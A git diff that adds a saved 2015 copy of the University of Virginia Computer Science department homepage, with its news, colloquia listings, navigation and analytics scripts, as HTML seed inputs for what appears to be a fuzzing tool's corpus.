+  <li><a href="../events/colloquia/student-defenses.html">Student Defenses</a></li>
+  <li><a href="/giving/industrial-techtalks.html">Industrial Tech Talks</a></li>
+  <li><a href="/events/teatime/">Tea Time</a></li>
+</ul></div>
+ 
+<a href="" class="menuitem submenuheader">NEWS</a>
+<div class="submenu">
+<ul>
+<li><a href="pubs/index.html">CS Newsletter</a></li>
+<li><a href="../research/awards/index.html">Honors & Awards</a></li>
+<li><a href="/news/index.html">Recent News</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader">TECHNICAL REPORTS</a>
+<div class="submenu">
+<ul>
+<li><a href="http://libra.virginia.edu/?f[object_type_facet][]=Article&f[uva_department_display_facet][]=Department+of+Computer+Science&sort=year_i+desc%2C+system_create_dt+desc">Computer Science</a></li>
+<li><a href="http://libra.virginia.edu/?f[object_type_facet][]=Doctoral+Dissertation&f[uva_department_display_facet][]=Department+of+Computer+Science&sort=year_i+desc%2C+system_create_dt+desc">Dissertations</a></li>
+<li><a href="http://libra.virginia.edu/?f[object_type_facet][]=Fourth+Year+Thesis&f[uva_department_display_facet][]=Department+of+Computer+Science&sort=year_i+desc%2C+system_create_dt+desc">4th Year Theses</a></li>
+</ul>
+</div>
+
+ 
+<a href="" class="menuitem submenuheader">SUPPORT</a>
+<div class="submenu">
+<ul>
+<li><a href="giving/">Give to CS</a></li>
+</ul></div>
+ 
+<a href="" class="menuitem submenuheader">CONTACT</a>
+<div class="submenu">
+<ul>
+<li><a href="contact/contactus.html">Contact Us</a></li>
+<li><a href="contact/maps.html">Maps and Directions</a></li>
+<li><a href="contact/directory.html">CS Directory</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader">FORMS</a>
+<div class="submenu">
+<ul>
+<li><a href="forms/index.html">Forms Directory</a></li>
+</ul>
+</div>
+
+<a href="" class="menuitem submenuheader">CLASS SCHEDULE</a>
+<div class="submenu">
+<ul>
+<li><a href="http://rabi.phys.virginia.edu/mySIS/CS2/page.php?Type=Group&Group=CompSci">Class Schedule</a></li>
+<li><a href="http://www.cs.virginia.edu/spring-2015-registration-policy/">Undergrad Registration Policy</a></li>
+</ul>
+</div>
+
+
+<a href="" class="menuitem submenuheader">FACULTY OFFICE HOURS</a>
+<div class="submenu">
+<ul>
+<li><a href="https://docs.google.com/spreadsheets/d/1loxnA4aCWyXv7O3QpTHOxO6jmcRh1uAT1xElVwKwyPM/edit#gid=0">Spring 2015 Office Hours</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader">Graduate Student Group</a>
+<div class="submenu">
+<ul>
+<li><a href="http://www.cs.virginia.edu/~csgsg/">Grad Student Grp Website</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader"><font color="#FF0000"><b>EMPLOYMENT</b></font></a>
+<div class="submenu">
+  <ul>
+<li><a href="/jobs/index.html"><font color="#FF0000">Jobs @UVACS</font></a></li>
+<ul><li><a href="/jobs/2014-Faculty-Search.pdf"><font color="#FF0000">Faculty Positions</font></a></li>
+</ul>
+</ul>
+</div>
+
+
+<a href="" class="menuitem submenuheader">Lost & Found</a>
+<div class="submenu">
+<ul>
+<li><a href="about/lostandfound.html">Lose something? Check here</a></li>
+</ul>
+</div>
+
+<a href="" class="menuitem submenuheader">RESERVATIONS</a>
+<div class="submenu">
+<ul>
+<li><a href="http://www.cs.virginia.edu/~csadmin/reservations/">Reservation System</a></li>
+</ul></div>
+
+</ul></div>
+
+
+
+    <!--<div class="calendar">
+
+
+
+  <img src="images/temp_cal.jpg" alt="calendar" width="160" height="120" />
+
+
+
+  </div> -->
+    <div class="clearer"></div>
+
+  </div>
+  <!-- //div#navigation -->
+  <div id="page-content">
+    <div id="hpfeature-container">
+      <div id="hpfeature-text">
+        <h2>CS at U.Va.</h2>
+        <hr />
+        <p>The U.Va. Department of Computer Science is a nationally recognized leader in computer science research and education. Our department includes 28 faculty members, 80 graduate students and 680 undergraduates. Faculty are active in fundamental computer science and engineering research and are engaged in interdisciplinary initiatives with scientists, humanists, engineers in other disciplines and medical personnel.</p>
+        <p>Our graduate students transition from students to collaborators through participation in world-class research projects. Our undergraduates are involved in research and are enriched by an integrated and challenging curriculum.</p>
+      </div>
+      <div id="hpfeature-photo">
+      <img src="images/OpenHouse2015/CSISFORU1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/OpenHouse2015/Mohamed-and-Elaheh.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/CAP-group.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/OpenHouse2015/research1-2.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/OpenHouse2015/Student-talking-open-house.jpg"433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/grad-CAP-photos030.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/OpenHouse2015/KeDou.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/basit1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/qi.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/barnes1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/luther1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>  
+      <img src="images/mahmoody1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/ICPC13.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/Awards14/awards14-1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/floryan1.jpg" width="433" height="315" alt="Welcome to Computer Science"/></div>
+      <!--<div id="feature-logo">
+
+
+
+   <img src="images/feature-logo.png" />
+
+
+
+   </div>-->
+    </div>
+    <!-- //div#hpfeature-container -->
+    <hr class="clear" />
+    <h2 class="printtitle">Features:</h2>
+    <div id="nav-wrapper">
+      <table id="topnav">
+<tr>
+   
+	<td class="nav-title"><a class="nav-title">CS For ...</a></td>
+    <!--Links Below-->
+    
+    <td align= "center"><a href="/csfor/current.html" class="">Current Students</a></td><td class="separator">|</td>
+    <td><a href="/csfor/prospective_ug.html" class="">Prospective Undergrads</a></td><td class="separator">|</td>
+    <td><a href="/csfor/prospective_g.html" class="">Prospective Grads</a></td><td class="separator">|</td>
+    <td><a href="/csfor/fac_staff.html" class="">Faculty &amp; Staff</a></td><td class="separator">|</td>
+    <td><a href="/csfor/alumni.html" class="">Alumni </a></td><td class="separator">|</td>
+    <td><a href="/csfor/visitors_parents.html" class="">Visitors</a></td>
+    
+        
+        
+</tr>
+</table>
+<div style="clear:both"></div>
+
+    </div>
+    <div class="content-box" id="box1">
+      <h3 align="center">Colloquia &amp; <br />
+        Student Defense Presentations</h3>
+      <div class="content-content">
+        <p align="center">[<a href="events/colloquia/student-defenses.html">More Student Defenses</a>] |  [<a href="events/colloquia/">More Colloquia</a>]</p>
+        <p></p>
+        <ul>
+        <li>Md Abu Sayeed Mondol, April 7, 2015 <a href="events/colloquia/mondol.html">Harmony: A Hand Wash Monitoring and Reminder System using Smart Watches</a></li>
+        <li>Ifat Emi - Friday, April 3, 2015 <a href="events/colloquia/emi.html">SARRIMA:  Smart ADL Recognizer and Resident Identifier in Multi-resident Accommodations</a></li>
+        <li>Xiaofan (Fred) Jiang, co-Founder and CTO of Air Scientific Inc. - Friday, March 27, 2015 <a href="events/colloquia/XiaofanJiang.html">Data, Knowledge, and Action - Bringing Together Intenet-of-Things with Physical Analytics</a></li>
+        
+        <li>Xuehai Qian, University of California, Berkeley - Friday, March 20, 2015 <a href="events/colloquia/qian.html">Taming Relaxed Memory Consistency and Non-determinism in Parallel Systems</a></li>
+        
+        <li>Samira Kahn, Carnegie Mellon University - Wednesday, March 18, 2015 <a href="events/colloquia/kahn.html">Solving the DRAM Scaling Challenge: Rethinking the Interface between Circuits, Architecture, and Systems</a></li>
+        
+        <li>Simon Sibomana - Tuesday, March 17, 2015 <a href="events/colloquia/sibomana.html">Modularizing Trust: A Framework for Cloud Storage Security</a></li>
+        <li>Lena Mashayekhy, Wayne State University - Tuesday, March 17, 2015 <a href="events/colloquia/mashayekhy.html"> Resource Management in Cloud and Big Data Systems </a></li>
+        <li> Vladimir  Kim, Stanford University - Friday, February 27, 2015 <a href="events/colloquia/kim2.html">  Structure  and Function in Large Collections of 3D Models</a></li>
+        <li>Baishakhi  Ray, University of California, Davis - Thursday, February 26, 2015 <a href="events/colloquia/ray.html">Leveraging  Big  Software  Data  to Improve Software Quality</a></li>
+        <li>Bruno Ribeiro, Carnegie Mellon University - Wednesday, February 25, 2015 <a href="events/colloquia/ribeiro.html">Mining  and Predicting a Complex Networked World: Theory, Models and  Applications</a></li>
+        <li>Eric Wustrow, University of Michigan - Tuesday, February 24, 2015 <a href="events/colloquia/wustrow.html"> Anticensorship in the Network</a></li>
+        <li>UVA Applied Research Institute is sponsoring a one-hour disscusion on "Net Neutrality" - Wednesday, March 4, 2015. To register and learn more visit: <a href="http://www.groundsonthego.com">groundsonthego.com</a></li>
+        <li>Chong Tang - Thursday, February 26, 2015  <a href="events/colloquia/ctang.html"> Potential Benefits of Synthesis from Relational Logic Specifications</a></li>
+        <li>Jason Wiese, Carnegie Mellon University - Wednesday, February 18, 2015 <a href="events/colloquia/wiese.html"> Enabling an Ecosystem of Personal Behavioral Data</a></li>
+        <li>Abbas Naderi Afooshteh - Tuesday, February 17, 2015 <a href="events/colloquia/afooshteh.html">Thwarting SQL Injection Attacks on Web Applications Using Hybrid Taint Inference</a></li>
+        <li>Ben Rodes - Tuesday, January 13, 2015 <a href="events/colloquia/rodes3.html">Speculative Software Modification </a></li>
+        <li>Prabal Dutta - Thursday, December 11, 2014 <a href="events/colloquia/dutta2.html">Scalable Sensor Infrastructure for Sustainably Managing the Built Environment</a></li>
+        <li>Liang Wang - Tuesday, December 9, 2014 <a href="events/colloquia/lwang2.html">PEARL: A First-order Modeling Framework for Power-Efficient and Reliable Multiprocessing System</a></li>
+        <li>Jian Xiang - Monday, December 1, 2014 <a href="events/colloquia/xiang.html">Real-World Types and Their Uses</a></li> 
+        <li>Sirajum Munir - Monday, November 24, 2014 <a href="events/colloquia/munir3.html">Integration of Cyber-Physical Systems for Smart Homes</a></li>
+        <li>Ritambhara Singh - Tuesday, November 18, 2014 <a href="events/colloquia/singh.html">Cross-Context Prediction of Transcription Factor Binding Sites for Unannotated ENCODE Data</a></li>
+ 		<li>Firoze Lafeer, Head of Capital One's Technical Fellows program - Thursday, November 6, 2014 <a href="events/colloquia/lafeer.html">Mashing banking services together in a functional reactive way</a></li>
+        <li>Aadrosh Ratan, Asst. Prof., Center for Public Health Genomics - Monday, November 3, 2014 <a href="events/colloquia/ratan.html">Split-alignment of Short Sequences and Subsequent Identification of Variants</a></li>
+
+         
+       
+        </ul>
+        <p></p>
+      </div>
+    </div>
+    <!-- //div#box1 -->
+    <div class="content-box" id="box2">
+      <h3 align="center">News<br />
+        <br />
+      </h3>
+      <div class="content-content">
+        <ul>
+        <li><a href="http://www.seas.virginia.edu/pubs/enews/enews_mar15/jones.php">Atrium in Rice Hall Named After Anita Jones, <i>UVA Emeritus Professor of Computer Science</i> </a></li>
+        <li><a href="http://www.cavalierdaily.com/article/2015/02/university-announces-new-engineering-dean">UVA announces new Engineering Dean: Craig Benson</a></li>
+        <li><a href="http://seas.virginia.edu/pubs/unbound/win15/micron.php">Engineering School Partners with Micron on Groundbreaking Processor, <i>A Worldwide Center For Advanced Processing Research</i></a></li>
+        <li><a href="http://seas.virginia.edu/pubs/unbound/win15/asare.php">An article about graduate student, Philip Asare, who works with Prof. Jack Stankovic and Prof. John Lach: "Improving Design Through Research and Teaching"</a>        </li>
+        <li><a href="images/rose-sale15.jpg">Feb. 14th 11-5: Society of Women Engineers Rose sale - Come by and by a rose!</a></li>
+        <li><a href="http://news.virginia.edu/content/revamped-princeton-review-best-value-rankings-lists-uva-no-1-public">Revamped Princeton Review 'Best Value' Rankings lists UVA is listed as the nation's top public school for affordability, academics and career prospects</a></li>
+        <li><a href="events/HoosInvent1.15.jpg">Hoos Invent general meeting today, Friday, January 30th at 4:30 in Thornton A123. Come see what it's all about!</a></li>
+        <li><a href="news/town-hall_1.15.html">Town Hall Meeting with CS Chair Kevin Skadron today 1/27/15</a></li>
+        <li><a href="news/google_1.15.html">Google Engineering Events on Grounds this week</a></li>
+        <li><a href="http://www.news.virginia.edu/content/anticipating-your-next-question">UVA Today article about Prof. Hongning Wang's research: &quot;Anticipating Your Next Question&quot;</a></li>
+        <li><a href="news/pdfs/CSIIPInteractiveFlyer.pdf">Interactive flyer for the Commonwealth STEM Industry Internship Program</a></li>
+        <li><a href="http://www.cavalierdaily.com/article/2014/12/uva-engineering-professor-honored-for-work-with-software-and-mentorship?_h=7c212dc4-7b3a-4a03-8932-6e203a409ad0">Prof. Mary Lou Soffa honored for her work in software engineering and mentorship</a></li>
+        <li><a href="http://www.cavalierdaily.com/article/2014/11/uva-engineering-department-looks-to-expand-computer-science-opportunities">Computer Science department working to meet increasing demand</a></li>
+        <li><a href="http://www.infoworld.com/article/2693154/components-processors/micron-provides-a-software-view-into-new-coprocessor.html">UVA's Automata Center in the news: "Micron provides a software view into new coprocessor"</a></li>
+        <li><a href="http://labs.yahoo.com/news/2014-yahoo-ace-award-recipients-selected/">Hongning Wang has just been named one of the winners of a Yahoo Academic Career Enhancement Award, for "top young faculty members in Yahoo relevant academic areas, to help them as they start on their academic careers."</a></li>
+        <li><a href="http://www.cs.virginia.edu/yanjun/paperA14/201408_bodynets.pdf">Best Paper Award: Jiaqi Gong, Philip Asare, John Lach, and Yanjun Qi, "Piecewise Linear Dynamical Model for Actions Clustering from Inertial Body Sensors with Considerations of Human Factors", 9th International Conference on Body Area Networks (BodyNets2014), Sep. 2014.</a></li>
+        <li><a href="http://it.careercast.com/article/best-it-and-engineering-jobs-2014">From CareerCast IT & Engineering Network: "The Nation's Best STEM Jobs"</a></li>
+        <li><a href="https://www.cs.virginia.edu/~stankovic/psfiles/vocal-diary.pdf">Best Paper Award: Enamel Hoque, Robert Dickerson, and Jack Stankovic, "Vocal-Diary: A Voice Command Based Ground Truth Collection System for Activity Recognition," Wireless Health, Oct. 2014.</a></li>
+         <li><a href="http://cacm.acm.org/news/179075-us-may-be-falling-behind-in-researching-techs-next-big-thing/fulltext">U.S. May Be Falling Behind in Researching Tech's Next Big Thing</a></li>
+          <li><a href="https://www.youtube.com/watch?v=eaPwwCAhkB4">Prof. Mark Sherriff accepts the ice bucket challenge!</a></li>
+          <li><a href="http://www.darpa.mil/NewsEvents/Releases/2014/06/03.aspx">Jack Davidson and John Knight and their research groups, as part of a team with GrammaTech, have been selected as one of the seven funded competitors in the DARPA Cyber Grand Challenge</a></li>
+        <li><a href="http://research.microsoft.com/apps/video/default.aspx?id=221402">Prof. Jack Stankovic is interviewed by Microsoft about "Smart Homes, Smart Phones, and Beyond."</a></li>
+        <li><a href="http://www.movoto.com/blog/top-ten/most-exciting-places-in-virginia/">Charlottesville is the #1 most exciting place in Virginia!</a></li>
+<li><a href="http://www.goodhousekeeping.com/health/wellness/happiest-cities-in-america?src=soc_fcbks">Charlottesville is also the happiest city in America!</a></li>
+        <li><a href="http://www.cs.virginia.edu/~smn8z/paper/coingps-mobisys2014.pdf">Congratulations to Shahriar Nirjon for winning the best paper award at MOBISYS 2014!</a></li>
+<li><a href="http://news.virginia.edu/content/what-happens-when-right-app-doesn-t-know-what-left-app-doing">"What Happens When the Right App Doesn't Know What the Left App is Doing?" - Prof. Jack Stankovic</a></li>
+        <li><a href="https://news.virginia.edu/content/four-uva-awarded-funds-advance-research-economic-growth-state">Prof. and Chair Kevin Skadron and 3 others at UVA were Awarded Funds to Advance Research, Economic Growth in State</a></li>   
+        <li><a href="http://sites.nationalacademies.org/CSTB/CSTB_040772">Congratulations to Jack Stankovic - he has been invited to serve another three-year term on the NRC Computer Science and Telecommunications Board.</a></li>
+        <li><a href="http://www.buzzfeed.com/exxonmobil/signs-you-were-born-to-be-an-engineer#2a5xdqv">15 Signs You Were Born to Be an Engineer</a></li>
+		<li><a href="http://blogs.wsj.com/atwork/2014/09/03/salaries-for-2014-grads-are-greater-than-expectations/?KEYWORDS=Education">Average starting salaries are up for CS graduates in 2014</a></li>
+        <li><a href="http://www.bestcollegereviews.org/features/most-beautiful-college-campuses/">UVA #1 Most Beautiful Campus</a></li>
+        <li><a href="news/#Aug14">Congratulations to Jim and Joanne Cohoon, who just got a $1.4M NSF grant.</a></li>
+        <li><a href="news/anitaatrium.html">The atrium of Rice Hall has been named Jones Atrium for Prof. Anita Jones, with a generous donation from Leidos.</a></li>
+        <li><a href="">Congratulations to Prof. Jack Stankovic - his h-index passed 100 according to Google scholar</a></li>
+        <li><a href="http://www.technologyreview.com/summit/14/digital/video/watch/connected-home-whitehouse/">Prof. Kamin Whitehouse: "If Homes Could Talk"</a></li>
+        <li><a href="http://www.theatlantic.com/technology/archive/2014/05/a-photo-filter-for-your-face/371859/">UVA Prof. Connelly Barnes and team have created "A Photo Filter, Just for Your Face"</a> </li>
+        <li><a href="https://news.virginia.edu/content/award-winning-computer-scientist-opens-door-women">UVA Today's article on Prof. Mary Lou Soffa, "Award-Winning Computer Scientist Opens Door to Women"</a></li>
+        <li><a href="http://www.theatlantic.com/business/archive/2014/03/which-college-and-which-major-will-make-you-richest/359628/">Which college and major will make you the richest? "For the best dollar-for-dollar investment, nothing beats the University of Virginia."</a></li>
+        <li><a href="http://www.amazon.com/Social-Skills-Assessment-Through-Games/dp/0615979130">Computer Science Alumnus Is an Author of New Book About Game-Based Social Skills Assessments for Children</a></li>
+        <li><a href="http://blog.cs.brown.edu/2014/05/19/brown-cs-alumnus-jack-stankovic-receive-university-york-honorary-doctorate/">Brown Computer Science Blog about UVA CS Prof. Jack Stankovic</a></li>
+        <li><a href="http://www.today.com/health/fittest-city-boulder-colo-once-again-tops-list-2D79486823">Charlottesville is fit!</a></li>
+        </ul>
+        <p class="more">[<a href="news/">More News</a>]</p>
+      </div>
+    </div>
+    <!-- //div#box2 -->
+  </div>
+  <!-- //div#page-content -->
+</div>
+
+
+<div id="wrapper">
+<div id="footer">
+  <div>
+   <div id="contactinfo">
+    <h3 class="printtitle">Contact Info:</h3>
+    <dl class="contact">
+      <dt class="title"></dt><dd class="title">Computer Science</dd>
+      <dt class="phone">Phone: </dt><dd class="phone">434.982.2200</dd>
+      <dt class="fax">Fax: </dt><dd class="fax">434.982.2214</dd>
+    </dl>
+    <ul class="address">
+      <li>85 Engineer&#8217;s Way</li>
+      <li>P.O. Box 400740</li>
+      <li>Charlottesville, VA  22904-4740</li>
+    </ul>
+   </div>
+    <p id="version"><span class="un_jtt_hide print"><a href="http://transcoder.usablenet.com/tt/referrer">Text Version</a> | <a href="javascript:printVersion();">Print Version</a><noscript><em><br />(Print Links Require JavaScript)</em></noscript></span></p>
+    <p id="siteinfo">Maintained by: <script type="text/javascript">email = writemail('webteam', 'cs.virginia', 'edu', 'webteam@cs.virginia.edu'); document.write(email);</script><br />
+      Last Modified: Friday, 27-Mar-2015 15:12:12 EDT<br />
+
+  </div>
+  </div>
+  <!-- //div#footer -->
+<script type="text/javascript">
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script>
+<script type="text/javascript">
+var pageTracker = _gat._getTracker("UA-718302-8");
+pageTracker._trackPageview();
+</script>
+
+
+
+</div>
+
+
+
+
+
+
+
+
+
+
+
+<!-- //div#wrapper -->
+
+
+
+</body>
+
+
+
+</html>
+
+
+
+
+
+
+
+<script type="text/javascript">
+
+
+
+// Slideshow - tiny dirt.
+
+
+
+    $('#hpfeature-photo').cycle({
+
+
+
+        fx: 'fade', // one of: fade, shuffle, zoom, slideX, slideY, scrollUp/Down/Left/Right
+
+
+
+        timeout: 6000, // milliseconds between slide transitions (0 to disable auto advance)
+
+
+
+        speed: 1600, // speed of the transition (any valid fx speed value)
+
+
+
+        speedIn: null, // speed of the 'in' transition
+
+
+
+        speedOut: null, // speed of the 'out' transition
+
+
+
+        startingSlide: 0, // zero-based index of the first slide to be displayed
+
+
+
+        sync: 1, // true if in/out transitions should occur simultaneously
+
+
+
+        random: 0, // true for random, false for sequence (not applicable to shuffle fx)
+
+
+
+        fit: 0, // force slides to fit container
+
+
+
+        pause: 1, // true to enable "pause on hover"
+
+
+
+        autostop: 0, // true to end slideshow after X transitions (where X == slide count)
+
+
+
+        delay: 0, // additional delay (in ms) for first transition (hint: can be negative)
+
+
+
+        next: '#hpfeature-photo' // clicking the element advances to the next image (takes '#id')
+
+
+
+    });
+
+
+
+</script>
+
+
+
diff --git a/peasoup_examples/tools/sfuzz/seed_inputs/w.html.gz b/peasoup_examples/tools/sfuzz/seed_inputs/w.html.gz
new file mode 100644
index 0000000000000000000000000000000000000000..5a07038b1067e91291fcef64b5d937ead3918a26
Binary files /dev/null and b/peasoup_examples/tools/sfuzz/seed_inputs/w.html.gz differ
diff --git a/peasoup_examples/tools/sfuzz/seed_inputs/web.html b/peasoup_examples/tools/sfuzz/seed_inputs/web.html
new file mode 100644
index 0000000000000000000000000000000000000000..ccfa7fe81948d8274fc9acef68e4c207d68c2176
--- /dev/null
+++ b/peasoup_examples/tools/sfuzz/seed_inputs/web.html
@@ -0,0 +1,689 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+
+
+
+<head>
+
+
+
+<title>Computer Science, U.Va. Engineering, graduate and undergraduate computer science programs, masters degree, PhD, Ph.D, virginia</title>
+
+
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+
+
+<meta name="Keywords" content="computer science programs virginia uva university computer engineering undergraduate graduate phd masters" />
+
+
+
+<meta name="Description" content="" />
+
+
+
+<meta name="ROBOTS" content="ALL" />
+
+
+
+<meta name="revisit-after" content="7 days" />
+
+
+
+<meta name="distribution" content="Global" />
+
+
+
+<meta name="rating" content="General" />
+
+
+
+<script type="text/javascript" src="/includes/js/jquery.js"></script>
+
+<script type="text/javascript" src="/includes/js/jquery.plugins.js"></script>
+
+<script type="text/javascript" src="/includes/js/main.js"></script>
+
+<script type="text/javascript" src="/includes/js/email.js"></script>
+
+
+
+
+
+<!--Dropdown-->
+
+<script type="text/javascript" src="/includes/js/dropdown.js"></script>
+
+<script type="text/javascript" src="/includes/js/accordion.js"></script>
+
+<script type="text/javascript"> 
+
+ddaccordion.init({
+
+	headerclass: "submenuheader", //Shared CSS class name of headers group
+
+	contentclass: "submenu", //Shared CSS class name of contents group
+
+	revealtype: "click", //Reveal content when user clicks or onmouseover the header? Valid value: "click", "clickgo", or "mouseover"
+
+	mouseoverdelay: 200, //if revealtype="mouseover", set delay in milliseconds before header expands onMouseover
+
+	collapseprev: true, //Collapse previous content (so only one open at any time)? true/false 
+
+	defaultexpanded: [], //index of content(s) open by default [index1, index2, etc] [] denotes no content
+
+	onemustopen: false, //Specify whether at least one header should be open always (so never all headers closed)
+
+	animatedefault: false, //Should contents open by default be animated into view? 
+
+	persiststate: true, //persist state of opened contents within browser session?
+
+	toggleclass: ["", ""], //Two CSS classes to be applied to the header when it's collapsed and expanded, respectively ["class1", "class2"]
+
+	togglehtml: ["suffix", ], //Additional HTML added to the header when it's collapsed and expanded, respectively  ["position", "html1", "html2"] (see docs)
+
+	animatespeed: "fast", //speed of animation: integer in milliseconds (ie: 200), or keywords "fast", "normal", or "slow"
+
+	oninit:function(headers, expandedindices){ //custom code to run when headers have initalized
+
+		//do nothing
+
+	},
+
+	onopenclose:function(header, index, state, isuseractivated){ //custom code to run whenever a header is opened or closed
+
+		//do nothing
+
+	}
+
+})
+
+</script> 
+
+
+
+<link rel="stylesheet" href="/css/screen.css" type="text/css" media="screen, projection, print" title="Web" />
+
+<link rel="stylesheet" href="/css/navigation.css" type="text/css" media="screen, projection, print" title="Web" />
+
+
+
+<link rel="alternate stylesheet" href="/css/print.css" type="text/css" media="all" title="Print" />
+
+<!--[if IE]>
+
+<link rel="stylesheet" href="http://www.virginia.edu/uvatemplates2010/css/ie7.css" type="text/css" media="screen, projection, print" title="Web" />
+
+<![endif]-->
+
+<!--[if lt IE 7]>
+
+<link rel="stylesheet" href="http://www.virginia.edu/uvatemplates2010/css/ie.css" type="text/css" media="screen, projection, print" title="Web" />
+
+<![endif]-->
+
+<script type="text/javascript">
+
+  var _gaq = _gaq || [];
+  _gaq.push(['_setAccount', 'UA-18981806-1']);
+  _gaq.push(['_trackPageview']);
+
+  (function() {
+    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
+    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
+    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
+  })();
+
+</script>
+
+
+
+
+
+</head>
+
+
+
+<body id="home" class="template06">
+ <!-- Google Tracking Code for UVA WCO sites -->
+<script type="text/javascript">
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script>
+<script type="text/javascript">
+var pageTracker = _gat._getTracker("UA-718302-1");
+pageTracker._initData();
+pageTracker._trackPageview();
+</script>
+<!-- THIS IS A WCO APPOVED INCLUDE -->
+<table id="uvabar" width="954" border="0" cellspacing="0" cellpadding="0">
+ <tr>
+  <td width="20"><img src="http://www.virginia.edu/virginia/images/bluebar/left.gif" width="20" height="27" border="0" alt="" /></td>
+  <td width="112"><a href="http://www.virginia.edu/search/" onmouseover="MM_swapImage('people','','http://www.virginia.edu/virginia/images/bluebar/peopleon2.gif',1)" onmouseout="MM_swapImgRestore()"><img name="people" src="http://www.virginia.edu/virginia/images/bluebar/people.gif" width="112" height="27" border="0" alt="People/Web Search" /></a></td>
+  <td width="69"><a href="http://www.virginia.edu/registrar/calendar.html" onmouseover="MM_swapImage('calendar','','http://www.virginia.edu/virginia/images/bluebar/calendaron2.gif',1)" onmouseout="MM_swapImgRestore()"><img name="calendar" src="http://www.virginia.edu/virginia/images/bluebar/calendar.gif" width="69" height="27" border="0" alt="Calendar" /></a></td>
+  <td width="97"><a href="http://www.virginia.edu/emergency/" onmouseover="MM_swapImage('emergency','','http://www.virginia.edu/virginia/images/bluebar/emergencyon2.gif',1)" onmouseout="MM_swapImgRestore()"><img name="emergency" src="http://www.virginia.edu/virginia/images/bluebar/emergency.gif" width="97" height="27" border="0" alt="Emergency Info" /></a></td>
+  <td width="70"><a href="http://www.virginia.edu/atoz/" onmouseover="MM_swapImage('a2z','','http://www.virginia.edu/virginia/images/bluebar/atozon2.gif',1)" onmouseout="MM_swapImgRestore()"><img name="a2z" src="http://www.virginia.edu/virginia/images/bluebar/atoz.gif" width="70" height="27" border="0" alt="A-Z Index" /></a></td>
+  <td width="71"><a href="http://www.mail.virginia.edu/" onmouseover="MM_swapImage('webmail','','http://www.virginia.edu/virginia/images/bluebar/emailon2.gif',1)" onmouseout="MM_swapImgRestore()"><img name="webmail" src="http://www.virginia.edu/virginia/images/bluebar/email.gif" width="71" height="27" border="0" alt="UVA Email" /></a></td>
+  <td width="333"><img src="http://www.virginia.edu/virginia/images/bluebar/middle2.gif" width="333" height="27" border="0" alt="" /></td>
+  <td width="154"><a href="http://www.virginia.edu/"><img src="http://www.virginia.edu/virginia/images/bluebar/uva.gif" width="154" height="27" border="0" alt="University of Virginia" /></a></td>
+  <td width="28"><img src="http://www.virginia.edu/virginia/images/bluebar/right.gif" width="28" height="27" border="0" alt="" /></td>
+ </tr>
+</table>
+
+
+
+
+<div id="wrapper">
+
+
+
+<div id="header">
+  	<div>
+    
+    <a href="http://seas.virginia.edu" style="display: block; width: 140px; height: 60px; float:left; margin: 20px 0 0 35px;"></a>
+    <a href="/" style="display: block; width: 460px; height: 80px; float:left; margin-left: 20px;"></a>
+    <form id="cse-search-box" action="http://google.com/cse">
+    <table align="right" cellpadding="0" cellspacing="0"><tr><td><font color="#FFFFFF">
+    <a href="https://collab.itc.virginia.edu/portal">Collab</a> <span style="color: #FFA74F;">|</span> 
+    <a style="padding-right: 5px;" href="https://sisuva.admin.virginia.edu/psp/epprd/EMPLOYEE/EMPL/h/?tab=PAPP_GUEST">SIS</a></font>
+    
+    <img src="http://www.virginia.edu/uvatemplates08/images/shared/icon/linkedin.png" width="15" height="15" alt="LinkedIn" onclick="javascript:window.location='http://www.linkedin.com/e/-jgxv80-gq0y11z7-4w/vgh/3998950/eml-grp-sub/'" />
+    
+    <img src="http://www.virginia.edu/uvatemplates08/images/shared/icon/twitter.png" width="15" height="15" alt="Twitter" onclick="javascript:window.location='http://twitter.com/CS_UVA'" />
+      
+    <img src="http://www.virginia.edu/uvatemplates08/images/shared/icon/facebook.png" width="15" height="15" alt="Facebook" onclick="javascript:window.location='http://www.facebook.com/uvacs'" />
+      
+    <img src="http://www.virginia.edu/uvatemplates08/images/shared/icon/youtube.png" width="15" height="15" alt="YouTube" onclick="javascript:window.location='http://www.youtube.com/user/seasweb'" />
+	</td>
+    </tr>
+    
+    <tr><td align="right">
+
+  <input type="hidden" name="cx" value="018428067400799082684:vrb8adzri6i" />
+  <input type="hidden" name="ie" value="UTF-8" />
+  <input type="text" name="q" size="20" />
+  <input type="submit" name="sa" value="Search" />
+</form>
+
+
+</td></tr></table>
+  	</div>
+  </div>
+<!-- //div#header -->
+  <p class="skipnav"><a href="#page-content" title="Skip to Content">Skip to Content</a></p></div>
+
+
+<div id="content">
